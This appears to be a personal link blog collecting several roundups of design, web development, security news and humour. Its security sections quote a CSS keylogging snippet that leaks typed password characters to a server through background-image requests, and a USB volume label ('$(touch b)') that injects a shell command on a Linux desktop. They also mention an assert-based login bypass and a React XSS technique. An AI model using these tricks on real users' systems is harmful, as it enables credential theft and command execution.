Labnotes

Published on

DWQu0nFVwAAulDl

Lulu Cheng "I got 99 tabs but I generally know where things are"


Design Objective

Jules Forrest Brilliant. "Visual design crash course in roughly twenty seconds."

5 Rules for Designer-Engineer Collaboration Helping designers and engineers work together.

OH no Type Co "EVERYBODY FALL IN LINE!"

DV8k6-eVQAAQEww

Design’s Lost Generation Argues that "Amateur hour is over", the design profession needs to follow in the steps of other accredicated professions (legal, medical, etc), with certification and oversight.

Daniel Eden 🥁

What Making Bread Has Taught Me About Design Systems:

Nothing. Sometimes it’s nice just to have a hobby.


Tools of the Trade

Visual Studio Code Can Do That? Thinking of giving VS a try? Check this page for tips.

my-setup

Haiku Cool Mac app for creating animations: draw in Sketch, orchestrate in Haiku, export to React/Vue/vanilla.

DWqxpMYWkAQAZBu

Blotter JavaScript library for drawing unconventional text effects.

Luke Wroblewski "25 years 631,151,900% improvement"

DWqHEAgVMAEry0a


Web-end

Snake highlight This is a cool use of SVG line animations.

Animated SVG Avatar Related, SVG animated login avatar, with the help of some trigonometry & GSAP.


Lines of Code

Tim Ottinger 💯

An upsetting realization: one day I realized that productivity is code quality.
If you can develop safely and fluidly and quickly, the code is good.
Period.
If it resists you, then it is of lower quality.
We need more productive code.


Devoops

Owen "Me editing code directly on the server"


Electric Dreams

nvidia/fastphotostyle This algorithm can transfer the style of one photo to another photo, creating a stylized output photo and wow.

DWfGsQBVoAAWJWg


Techtopia

Phishing for Phools Why social media manipulation is today's greatest phishing scam.

Inside the Two Years That Shook Facebook—and the World "You can’t make the world more open and connected if you’re breaking it apart."

dan hon 🍳🥂

Omg who wants to join my ethical tech movement that meets in the morning called:

BREAK FAST and MAKE THINGS


Locked Doors

maxchehab/CSS-Keylogging Keylogger uses CSS attribute selectors to request resources from an external server under the disguise of loading a background image. Seems to work against React controlled components:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

None of the Above

Rhett Allain "This is a cool t-shirt"

DWvN0UdVwAEtHHQ

Casey Newton Words of wisdom:

The best gift you can get anyone in their 30s is to cancel a meeting they’ve been asked to attend. You will never forget the look of joy in their eyes

Stephanie Hurlburt Looking for a job? If you're going to post to Twitter, check out these tips to make sure your tweet gets noticed.

The Grammar of Online Reviews Interesting correlation:

image1

According to our data, negative reviews have a higher rate of misspelled words and a higher rate of incorrectly used apostrophes. They tend to be longer and have more details as well. Five-star reviews typically are shorter and often don’t include punctuation. Across the board, reviewers make a lot of spelling and grammar mistakes – only 61% of reviews passed all our quality checks.

Oxford Comma Dispute Is Settled as Maine Drivers Get $5 Million Putting a value behind clear writing:

the First Circuit ruled that the missing comma created enough uncertainty to side with the drivers, granting those who love the Oxford comma a chance to run a victory lap across the internet.

Underdog Liz Swaney from Oakland is talk of Olympics after her modest skiing in halfpipe I don't follow sports, so this was the highlight for me: a mediocre skier out-smarts Olympic rules, and even though she came last, she got to participate in the Winter Olympics!

Philip Larkin 😹

Just spotted a cat on someone's porch, miaowing to be let in. Without thinking, I walked up to the door, rang the bell, nodded to the cat and left. It was only I rounded the corner I realised what I'd done as I heard the owner shouting FUCK ME SARAH THE CAT JUST RANG THE DOORBELL

AeroDork "Ever wonder what happens when you yank the pull cord on an aircraft emergency slide? Wonder no more."

Published on

DVydve3W0AE8LzE

hegemony snickett "...I think about how good this poem is at least twice a day."


Design Objective

meg "So here’s a thing I still have to remind myself basically every time I make an icon"

DVofrLLVAAE-Rp2

Matt Adereth Pro tip:

Radia Perlman told the perfect story about how engineers come up with solutions before understanding the problem:

"When my son was 3, he came to me crying 'my hand! my hand!'

I started kissing it. mwah mwah mwah 'Tell me what happened...'

'I got pee on it.'"

Scott Kerr "SPACE INVADERS (1978) concept art by its creator, Toshihiro Nishikado"

DWG4gP4W0AEf4eP.jpg-large


Tools of the Trade

Michael Feathers That would be a good default setting:

I wonder whether the path forward is to have git randomly reject commits with the polite message: “please think more about this.”

TablePlus Native Mac app for querying relational databases. Upcoming plugin for Redis.

workspace@2x

automerge An implementation of CRDT for JSON-like data structures: automatically merge changes made concurrently by different users (also great for apps that run offline).

Davide Ciacco "I made a simple "evaporating" shader!"

Tet "Tet is a dumb thing that deletes all your tasks at the end of the day." Goldfish todo list.

Repairing the card reader for a 1960s mainframe: cams, relays and a clutch Throwback to when computers were mostly mechanical devices.

1402-card-reader


Web-end

💘chriseppstein This:

Reminder that the olds in web development will always think it’s bad that you don’t know the things they had to learn and consider important.

Your path can be different. Build cool things and you’ll learn how they work along the way as it becomes relevant. 🤙

Amelia Bellamy-Royds Yes:

I want to live in the world where this is the real reason for web browser's convoluted user-agent strings.

“Dearest server, I am Chrome, the 64th of that name, child of WebKit, grandchild of KHTML, a disciple of Gecko, follower of the great Mozilla/5.0, running on Windows NT 10”


Lines of Code

Pablo Antonio Taking the opportunity to post this again, so important:

The Four Rules of Simple Design (in order of importance):

  1. Passes the tests
  2. Reveals intention
  3. No duplication
  4. Fewest elements
    And, yes, "fewest elements" is last, which means you only minimize classes and methods if everything else satisfied

tony hawk's pro skater 3 When you have a bug in the code, but that’s ok because it masks another, more sinister bug.


Architectural

“Guys, we’re doing pagination wrong…” Using cursors to avoid leaky abstractions in pagination.

1-ewXFuhjNVfn-bcGny0gg4w

Steven Sinofsky Fantastic thread about software development, constraints, and the long view:

38/ Big projects, well-run are going to look across all systems and a long-term POV and develop a portfolio of what to do where/when. That’s how you get something like a new file system years in making to show. Or killer FaceID. Or all of a sudden have tons of cloud features.

Steven Sinofsky Also from the same thread:

39/ Ultimately at MS used to have Conversation 37:
• Eng wants to do nothing but fix code // BUG BUG
• Sales wants new product every year w/new quotas
• Press would like a new thing each month
• Techies —revisit core UI, add options on demand
• IT—no change, ever :-)

Phil Calçado Somewhere, someone must be doing this:

Someone just told me about a project that "goes beyond monorepos and squashes everything into a monocommit" and I can't even tell if they're joking...


Devoops

Developers On Call More ideas on how to manage on-call rotations without burn out.

Erik Haddad "I don't see anything about this in the manual ✈️#ua1175"

DV8zEC6VAAEOMRp


Peopleware

Your Cortex Contains 17 Billion Computers TIL Each pyramidal neuron is a two layer neural network. All by itself.

1-Q2PtqqwIKbZPvbxeOzclcQ

Nick Stenning My view as well:

Flat organisational structures do not exist. There are only organisations with visible structure and organisations with invisible structure.


Locked Doors

CryptoAUSTRALIA "Top tier social engineering"

DVQYc2OWAAA4JO2.jpg-large

Mac Privacy: Sandboxed Mac apps can record your screen at any time without you knowing TL;DR Any Mac app can take screenshots of your Mac silently, and use basic OCR software to read all text on the screen.

Plasma Desktop: Arbitrary command execution in the removable device notifier USB thumb drive naming vulnerability:

When a vfat thumbdrive which contains `` or $() in its volume label is plugged and mounted trough the device notifier, it's interpreted as a shell command, leaving a possibility of arbitrary commands execution. an example of offending volume label is "$(touch b)" which will create a file called b in the home folder.

Mark Burnett "cat in the middle" (via):

I caught my cat running out of my office with my yubikey in his mouth--a threat model I hadn't considered.

@helenvholmes "Yes, let's"

DV3OXrQUQAQSwxf


Techtopia

Tech’s Ethical ‘Dark Side’: Harvard, Stanford and Others Want to Address It Ethic classes should be part of Computer Science curriculum:

We need to at least teach people that there’s a dark side to the idea that you should move fast and break things,

John Hamill "What could possibly go wrong, Scronfinkle?"


None of the Above

Paul Bronks "And I looked, and behold, a pale horse. And its rider’s name was Death."

DV553ydWAAA07AF

cheinsaw 😭

black cats are wonderful because you can stare into the void and not only does the void stare back, sometimes it trots up to you happily and begs for pats

the void is loud and wants chicken

Ellen Huet 😭

opportunity: two of your housemates take a trip

battle plan: rest of house bands together to convert their bedroom into an error-filled anthropological exhibit from the future

Screen-Shot-2018-02-17-at-5.22.16-PM

The White Darkness A solitary journey across Antarctica. Captivating, long read.

HUMOROUS ANIMALS "When your cat has a pet of its own"

Published on

DVpWghaX4AAOCoX

shley Mayer "We were promised flying cars, we got...a valuable lesson in the importance of specificity. 💁"


Design Objective

Laws of UX The core laws of UX, beautifully illustrated.

DVdh2iaW4AA5-UQ

How to improve your design process with copy docs How does your team manage copy?

A copy doc is a one-stop “source of truth” for all the copy in a project. There’s no single way to create or use one, but here are some basics to help you get started.

Make me think! Much of software design focuses on hiding technological complexity. But how can we use it successfully, when we don't understand the technology? This article asks the question: "Should the technology grow — or the person using it?"

1-yYfezWMn9ENYKaFHU6uMSw

Two Very Different Kinds of Illustration Takes a hard look at the "monocultural aesthetic" that's common across startups:

In my experience, the vast majority of them are quite similar in their aesthetic: the colors range from primary to bright pastels; the figures are cleanly drawn and almost always rendered with vectors; the details are highly abstracted and shading is geometric if it appears at all; the compositions are generally minimal and only occasionally feature very limited background elements.

Customer Satisfaction at the Push of a Button The story behind HappyOrNot and their smiley face displays:

if you make it easy, people will give feedback every day, even if you don’t give them a prize for doing it

Smiley_terminal_in-use1-EN


Tools of the Trade

Productive Debugging Some tips to make your debugging sessions more productive. My favorite:

Some days you get the bug, other days the bug gets you.

CityLosAngeles-Jobs This job post is funny, as are the responses in this Twitter thread.

DT2XFKpWAAAu9cn


Web-end

What’s New in HTML 5.2? HTML is still evolving. We're getting a new <dialog> element, and payment API support for 3rd party embeds (Stripe, Paystack, etc).

React’s ⚛️ new Context API Now a first-class API, using render props.

Declining Complexity in CSS Argues that as the CSS spec adds new features, the spec becomes more complex, but overall make our lives easier. Eventually, we would all use CSS Grid and not have to worry about float hacks. Meanwhile, though:

csstdg-stacked-1024x768


Lingua Scripta

JavaScript: Can (a==1 && a==2 && a==3) ever evaluate to true? Yes. Because everything is an object.


Lines of Code

Hillel 🤔

You've probably seen a bunch of rants on why "do thing with linked list" is a terrible interview question. I'd like to explain why "do thing with linked list" is an interview question in the first place. Buckle up everyone, it's time for some g̶a̶m̶e̶ ̶t̶h̶e̶o̶r̶y̶ HISTORY!


Architectural

Let a 1,000 flowers bloom. Then rip 999 of them out by the roots. Long but quick read, about the history and purpose of Twitter's Engineering Effectiveness group.

Let’s talk about usernames You'd think username is just a field in the database, how complicated would it get? But how you implement identity has implications on security and privacy. For example:

Well, it’s easy until we start thinking about case. If you’re registered as john_doe, what happens if I register as JOHN_DOE? It’s a different username, but could I cause people to think I’m you? Could I get people to accept friend requests or share sensitive information with me because they don’t realize case matters to a computer?

Identity-2


Devoops

Cindy Sridharan Being on-call is not a reward, but also doesn't have to be a punishing experience. I agree with the premise of this thread — engineering managers can do a lot to make the on-call experience better:

Unpopular opinion but someone needs to say it and I’m going to be that person today:

If the idea of being “on-call” sucks to you, it means you’re responding negatively to a symptom

The cause is more systemic and more a reflection of the team/org’s basic engineering prowess

Daniel Westermann-Clark For example, start by measuring:

My team tracks life impact as a metric (pages outside business hours) and works to drive that down to zero.


Techtopia

Jani Eväkallio 😢

At a bank trying to prove my address:
CLERK: "We have a discrepancy here... Your name here is Jani Eväkallio but this proof of address says Evakallio without the dots. Can you explain that?"
ME: "How much do you know about Unicode?"

I don't think I'm getting a bank account today

Binyamin Appelbaum "Sad photo of Wall Street traders reacting as stock market plunges."

DVTJZ5UWkAEo5jo


Locked Doors

Mixpanel JS library has been harvesting passwords Not intentional, MixPanel is not a bad actor here. But another lesson in how every dependency decreases security:

We immediately began investigating further and learned that the behavior the customer was observing was due to a change to the React JavaScript library made in March 2017. This change placed copies of the values of hidden and password fields into the input elements’ attributes, which Autotrack then inadvertently received.

matt blaze Your periodic public service announcement:

Remember: even the worst password manager will make you more secure in practice than using the same password on multiple sites (which is what people without password managers inevitably do).


None of the Above

Emergency Kittens "You seeing this?!"

Limiting Your Child's Fire Time: A Guide for Concerned Paleolithic Parents "As with everything in life, balance is key."

fossils from the early Device Age 🔥

device-age-fossils

Martin Bryant I do!

That's me in the corner
That's me in the spotlight
Deleting UTMs from URLs before I share them.

(I can't be the only one who does this)

Winamp2-js This needs no explanation.

DVcfDHBVQAAp3Tm

Is the Placebo Powerless? Interesting fact that recently came to my attention: when we test new medicine and find out it's no better than placebo, do we conclude the medicine (made by scientists!) is ineffective, or do we attribute therapeutic benefits to placebo? Well, surprise:

We found little evidence in general that placebos had powerful clinical effects. … Outside the setting of clinical trials, there is no justification for the use of placebos.

Imaging Without Lenses Fascinating look at new imaging systems, microscopes, and sensors, that rely on algorithms instead of lens.

2018-106-1-28-compsci-3-natural

This is how the world’s most covetable cameras get made Verge takes us on a trip to Hasselblad.

gU8wdIXy

folu 2~3 days with 0 decisions:

types of vacations I need

  • a week to deep clean everything I own, twice
  • a week to just sleep, then sleep some more
  • a week where I don't speak to anyone
  • a week where I can cook constantly and never have to clean up
  • 2-3 days where I don't have to make any decisions

The blue marble Wow.

Published on

20170322214719UvHn5SwL9j4PJ31Y.jpg-w600

From the amazing Miniature Calendar.


Design Objective

Dave Malouf 🤔

This notion that "it's all just a guess until we ship to production" flies in the face of decades of research in HCI, psych, etc.

The point isn't knowing for sure, but increasing confidence as investment increases.

Deciding to ignore those opportunities to learn is reckless.

We Need Fewer Product Managers Great products are a team effort:

We need MORE internal startup co-founders, UX, customer advocates, domain experts, service designers, complexity untanglers, researchers, and reliable ways to interact directly with users/customers. We need more product thinking, and less product managing.

Cory Doctorow Dark patterns:

This mobile ad designed to make it look like you have a speck of dirt on your phone, making you tap on it.

DU0HB70WsAAMQxY


Tools of the Trade

Observable Wow. Notebook for JavaScript, with Markdown, async/await, D3 visualization, the works. Check out the five minute introduction.

Screen-Shot-2018-02-04-at-6.26.25-PM

johnlindquist So useful:

@ChromeDevTools has a copy method in the console. copy(myObj) will copy the entire myObj as json to the clipboard. 🤯

kap An open-source screen recorder built with web technology, just released 2.0.

BmzT9ZzI

Hans Peter Luhn and the Birth of the Hashing Algorithm "In early 1953, Luhn had written an internal IBM memo in which he suggested putting information into “buckets” in order to speed up a search."

esimov/caire A content-aware image resize library, using Seam Carving, which is a pretty interesting algorithm (Wikipedia explains it quite succinctly).

Screen-Shot-2018-02-04-at-9.03.48-PM

Vince Knight :w

Is your child texting whilst using vim?

rofl - replace current char with o and find l
brb - replace 1st char of previous word with a b
lmao - move a bit then edit next line
imo - type mo
nvm - go in to visual mode
wtf - move to next word


Web-End

Jaiden Mispy Take this advice seriously:

Advice for starting web projects: think very carefully about url structure. You can change everything else later, but once someone shares a link you must support that indefinitely

XSS via a spoofed React element Watch out for this JSON-based vulnerability, not just with React:

I'd demonstrated to myself that I could cause e to have any JSON value I wanted … so it was no trick to make it into an object that had a key _isReactElement set to true … which would seem to tell the client that the object I'd created was a "valid element".

Scott Jehl 😢

Bad news web nerds. Punxsapolyfill saw its shadow DOM today so it looks like we’re going to have 2-3 more seconds of blank screen until this page renders.


Lines of Code

Hillel Forget about static vs dynamic typing. Code quality comes out of code review, checklists, documentation, planning ahead, sleep, etc.

To start with, this little trick will do wonders to your code quality:

Self review: before you submit code for code review, take a ten minute break then print out the code and review it yourself. This can find up to half the errors that others would find, and it's super efficient to boot!

Brandon Hays 😭

Developers are funny about language. We say "orthogonal" instead of "unrelated", "conflate" instead of "combine", and "algorithm" instead of "200 lines of shitty nested if statements".

Alejandro Oviedo git commit -m "look, I'm not proud of it but it works"

DUy3c4JX0AI2Gfs


Architectural

Using Postmortems to Understand Service Reliability Five questions for a postmortem, none of which are "Why?"

Alex Lambert The NIH lock-in:

so, you avoid vendor lock-in by building your own. and then later realize you still have vendor lock-in, but you're the vendor, and there are no other customers. oops.

Abiola Ibrahim 👍

If the error message is different, you have made progress.


Peopleware

John Le Drew 💯

Let's just stop referring to interpersonal skills as "soft" skills. They are both hard work and essential. They are the bricks and mortar supporting your team and the fuel and keeps it alive.


Electric Dreams

Teaching Alexa when not to respond How does Amazon prevent Alexa from responding to TV ads.

'Fiction is outperforming reality': how YouTube's algorithm distorts truth YouTube calls it the "largest scale and most sophisticated industrial recommendation systems in existence." But without human supervision, this is what we get:

The algorithm has been found to be promoting conspiracy theories about the Las Vegas mass shooting and incentivising, through recommendations, a thriving subculture that targets children with disturbing content such as cartoons in which the British children’s character Peppa Pig eats her father or drinks bleach.


Locked Doors

Bob Johnston "Security"

DUgqcKfUMAAwWEJ


Techtopia

Shira Ovide A judge in a tech trial coaching jurors on Facebook privacy settings is possibly the most 2018 thing ever:

Judge Alsup in Waymo-Uber case tells jurors that they may want to change Facebook privacy settings because press might try to figure out who they are. In doing so, he delivers this classic line -- "There is something called friends of friends"

The Banana Trick and Other Acts of Self-Checkout Thievery How self-checkout lines are dealing with “external shrinkage”:

Perhaps it’s not surprising that some people steal from machines more readily than from human cashiers.

Presentation: A Young Profession Coping With Ethical Debt "Ethical debt".


None of the Above

Stone Cold "Just my luck, 250 million year old salt and it expires next year."

DUkE2tjVQAAJs_G

"Ian" Abramson 🐻

When you compare the size of a gummy worm versus a gummy bear, it starts to paint a horrific picture of the gummy universe.

Molly Telford 😭

Today's lesson about asking the right question to get meaningful data, brought to you by a 4 year old:

Me: Should I put a banana in your lunch today?
Him: Sure! They are healthy & I'm supposed to bring healthy food.
Me: Will you eat it?
Him: Definitely not. I don't like bananas.

Scott Hanselman "I’d rate it 'no way I’m touching this touchscreen you filthy animals.'"

DU_Nas1XcAAQsQn

BryceElder Bitcoin, a non-explainer:

Bitcoin is a decentralised currency that is backed by energy that is harvested from traffic on the world wide web, or internet.

Kelly Vaughn 🤣

Roses are red
Violets are blue
Unexpected '{' on line 32

Martin O'Leary "Languages are bananas"

DU965P6WAAEZNzn

Published on

DUbDSQuX4AEe75B

Chris Fralic "Once upon a time Packard Bell made a thing called a Corner Computer. To go in the corner."


Design Objective

Hawaii missile alert: How one employee ‘pushed the wrong button’ and caused a wave of panic Maybe not the best design choice:

From a drop-down menu on a computer program, he saw two options: “Test missile alert” and “Missile alert.” He was supposed to choose the former; as much of the world now knows, he chose the latter, an initiation of a real-life missile alert.

iu

The Secret of Successful UX Writers TL;DR make the reader’s time valuable.

Drag and Drop for Design Systems UX patterns for drag and drop across components. Lots of great little details, eg:

Use a distinct color choice that isn’t used often in your design system to identify drag and drop interactions. Avoid colors that already have significance in your interface (ex: red for destructive actions).

1-lVErPJgVdZJrwuWJOc5iKg

Ha Phan 👍

Skills for UX / Product strategy:

  • Framing the problem
  • Scaling problems & solutions
  • Building a narrative around mental models & organizational principles
  • Experiment design

Chris Maddern "The. Middle. Seat. Arm. Rests."

DUlp3UeVoAA5GBM


Tools of the Trade

Rebecca If I had to pick one goal for code reviews, this is it:

In my opinion what code reviews really should do is:

Ensure that other team members understand the code and the change and will be nearly as confident working with it in the future as the author.

Damian Janowski Old style Geocities counter would be the killer status page:

Status pages should detect traffic spikes. "We believe everything's fine, but too many people checking this page, so maybe something's up."

Ricardo Bánffy A new meme to start 2018:

DTHdX3ZXcAQN1E6


Web-end

Demystifying CSS alignment Why is it justify-content:center but align-items:center?

"display: contents" is coming I finally get what display: contents is good for.

Front-End Performance Checklist 2018 New year, time for a refresh performance checklist.

Screen-Shot-2018-01-16-at-9.32.12-AM


Lingua Scripta

ESM modules in node: npm edition Looks like Node 10 will have native ESM support. C J Silverio explains the not-so-obvious part:

Oh, right, meant to note: I see some talk about how our proposal means “consumer determines file format”.

NO. Wrong frame.

AUTHOR DETERMINES API.
Consumer must know API.

As always, because of course you need to read the docs before you use a new API.

Alexey Orlenko "no more imperative javascript in 2018, javascript is a fancy lisp flavor from now on" 🎉

DT3vfPXXUAISNCm


Line of Code

Writing Code That Reads Like a Story Reposting, because this is one of my favorite techniques, under-rated, but you can't go wrong with this one.

Gojko Adzic This:

to anyone who complains that TDD can still lead to crap code: TDD does not lead to good design, it can lead away from bad design. It just makes it painfully obvious that a design choice is bad because tests hurt. You still need brains & design skills to act on that signal.

Alec Muffett It is said that the easiest thing to optimize away is security:

Oh, this is glorious: pysaml2 library uses an assert statement to check & reject users who use the wrong password; however when running with the optimiser enabled, all assert statements are stripped…

so: anyone can log into anything with any password.

Walf Escape room concept: 😢

  • you are a software engineeer
  • there is a production issue related to a legacy codebase
  • no one knows how it works
  • various credentials are scattered around the office on post-it notes
  • there's some printouts of git diffs
  • you have an hour to fix this

Architectural

Amy T One of the many benefits:

~idempotence is great because I can just keep running this thing until I shake all the bugs out and nobody gets hurt but me

Joe Armstrong How to optimize for performance — do nothing, wait, done:

I reckon that 10 years gives a factor 1000 - so wait 20 years and your code will be 1,000,000 times faster. This was true for Erlang. At a guess a factor of <10 speedup comes from smarter code the rest a factor 10^5-10^6 comes from faster clock frequency. Leave to the HW folks!

Jenny Bryan 💯

One of the most useful things I’ve learned from hanging out with (much) better programmers: don’t wring hands and speculate. Work a small example that reveals, confirms, or eliminates something.


Devoops

John Arundel 🚨

Controversial hot take: If one of your monitoring checks has been red for a week or more, get rid of the check. If the service was that important, it would have been fixed by now, and monitoring unimportant services is a waste of time.


Peopleware

How to Dramatically Improve your Public Speaking Skills You don't need to present at TED. This tips will make all the difference, even if all you're doing is presenting at a team meeting.

Sindre Sorhus "How I do open source"

DUHVdEfX4AAh6H7


Techtopia

Your smartphone📱is making you👈 stupid, antisocial 🙅 and unhealthy 😷 Smartphones are this generation's Rock & Roll, i.e. much ado about nothing. Reason I'm linking to this article, it got widespread attention, especially this — misleading — quote:

it's common knowledge in the industry that Instagram exploits this craving by strategically withholding "likes" from certain users. If the photo-sharing app decides you need to use the service more often, it'll show only a fraction of the likes you've received on a given post at first, hoping you'll be disappointed with your haul and check back again in a minute or two.

Mike Krieger CTO of Instagram has a more plausible explanation, "replication lag/etc may mean things aren't instantaneous but not intentionally so." Sarah Mei explains how it all works:

I find it really hard to believe that instagram chose eventual consistency for likes specifically so they could drive re-engagement. Let me walk you through how this sort of thing scales up.

Marko Kloos 💔🚚

I just realized that with the advent of self-driving vehicles, we may soon get country songs where your truck leaves you too.


Locked Doors

Passwords that make you feel good Why not?

The Global Heatmap, Now 6x Hotter Amazing tool from Strava: a global heatmap of human activity, collected from fitness trackers (Fitbits, iPhones, bicycle computers, etc). Had so much fun exploring my neighborhood.

1-2AAl8-Db33UhVNHsckYt4Q

Adam Rawnsley Infosec Twitter is also having a fun day, exploring military bases and CIA installations around the globe, by hunting for those Strava heat signatures:

Interesting pattern of activity in this little patch of ground seemingly in the middle of nowhere, north of Raqqa and south of Ain Issa 🤔

DUlN9wLWkAAXKir

Joseph Cox Apropos fitness trackers:

Interesting: investigators access rape/murder suspect's phone, search forensically. But rather than just looking at geolocation data, also look at the Health app on his iPhone; saw he 'moved upstairs' at one point; that's when he dumped the body and left


None of the Above

Khalil Sehnaoui "A simple, yet brilliant, do it yourself Roomba."

Nicole Cliffe This thread of parenting pro tricks made me laugh so hard:

We had so many great months of the kids thinking that Scooby Snacks were plain whole wheat crackers, and then a babysitter bought a box of Scooby fruit snacks and the whole system collapsed in under three minutes.

Ms. Mouthpiece 🔥

Apple Maps: Our artisanal cartographers hope you enjoy this pleasant journey. 28 min

Google Maps: Our algorithm has determined an optimal path for the most efficient route given current traffic conditions. 25 min

Waze: Drive through this dude's living room. 17 min

Colossal "Brightly Colored Flower-Shaped Pencils That Shed Their Petals When Sharpened"

DTRoxZmV4AAtjmB

Miami Bitcoin Conference Stops Accepting Bitcoin Due to Fees and Congestion Not The Onion.

Inside the group chats where people pump and dump cryptocurrency How self-proclaimed “pump and dump groups” scam thousands of wannabe altcoin investors.

Naomi Kyle "This pony working up the courage to jump this tiny step is everything."

Why dolphins are deep thinkers The more we study dolphins, the brighter they turn out to be:

Dolphins can also use tools to solve problems. Scientists have observed a dolphin coaxing a reluctant moray eel out of its crevice by killing a scorpion fish and using its spiny body to poke at the eel. Off the western coast of Australia, bottlenose dolphins place sponges over their snouts, which protects them from the spines of stonefish and stingrays as they forage over shallow seabeds.

Zoe Hong 😭

I need a keyboard with shortcut buttons for “Let me google that for you” and “Literally no one asked you”—someone make it for me?

Updated: Collision Course: Why This Type Of Road Junction Will Keep Killing Cyclists "Ipley crossroads has a very simple layout: two straight sections of road cross at an angle of 69 degrees." Can you think why this leads to car/bicycle incidents?

ipley-cross-pillar-shadows-6-seconds

Gina 🤣

creation of the kangaroo

God: Okay so the deer was a big hit let’s work off that
Angel 1: What if it could carry it’s offspring with it for protection
God: Okay that’s kind of weak Sharon but we’ll add it
Angel 2: What if it could kick the shit out of you
God: There it is

Study Shows Why the Flu Likes Winter TL;DR The flu virus is more stable and stays in the air longer when air is cold and dry. Also, flu is short for "influenza di freddo", or "influence of the cold"” Also, can this flu be over already? I'm tired of sneezing and coughing.

TechnicallyRon I'm not proud, but this is my life:

The only two ways to reply to emails:

  1. straight away within seconds I have no chill
  2. "I am sorry it took me six months to reply, I opened it, thought 'i'll do this later' and then had several large crises"

Mexie "relatable"

DT7HiV_U0AA5FWG